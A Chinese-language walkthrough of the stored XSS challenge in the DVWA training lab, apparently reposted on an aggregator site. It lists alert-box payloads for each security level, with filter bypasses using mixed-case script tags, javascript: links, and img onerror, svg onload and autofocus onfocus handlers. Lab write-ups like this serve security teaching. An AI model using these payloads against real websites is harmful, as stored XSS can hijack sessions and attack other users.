当前位置: 首页 > article >正文

【dvwa靶场:XSS系列】XSS (Stored)低-中-高级别,通关啦

 更改name的文本数量限制大小,

其他我们只在name中进行操作

【除了低级可以在message中进行操作】

一、低级low

<script>alert("假客套")</script>

二、中级middle

过滤了小写,咱们可以大写

<Script>alert("假客套")</script>

点击事件触发弹窗

<a href="javascript:alert('假客套')">点击我触发弹窗</a>

三、高级high

过滤了script以及括号,我们使用其他的标签

<img src=x onerror=alert("假客套")>
<svg onload=alert('假客套');>

慎用,会卡哦,需要清除浏览器缓存,再进入dvwa的xss的stored中,再次点击Clear Guestbook

<input onfocus = alert('假客套') autofocus/>


http://www.kler.cn/a/385668.html

相关文章:

  • AI 大模型如何赋能电商行业,引领变革
  • glide性能优化实战
  • Caused by: org.apache.flink.api.common.io.ParseException: Row too short:
  • 利用AI制作《职业生涯规划PPT》,10分钟完成
  • SwiftUI(十)- 列表(分组,折叠)
  • ubuntu 22.04 server 安装 anaconda3
  • 华为大咖说 | 浅谈智能运维技术
  • 【1】 Kafka快速入门-从原理到实践
  • 一七七、window.performance API使用介绍
  • SQL pta习题
  • 我谈正态分布——正态偏态
  • Stored procedures in PostgreSQL
  • C++入门基础知识142—【关于C++ 友元函数】
  • 国产操作系统ctyun下安装Informix SDK开发包的方法
  • Notepad++ 更改字体大小和颜色
  • [每周一更]-(第122期):模拟面试|数据库面试思路解析
  • 类文件结构详解
  • Leecode热题100-543.二叉树的直径
  • 【C++练习】生成并打印所有可能的三色组合
  • 组队学习首次开放许愿啦!下个月想学什么,听你的
  • C 语言函数指针 —— 实现程序分层
  • 腾讯为什么支持开源?
  • SpringMVC执行流程与运行原理解析
  • 智能提醒助理系列-springboot项目彩虹日志+TraceID
  • 基于单片机的智能家居安防系统设计
  • Vite与Vue Cli的区别与详解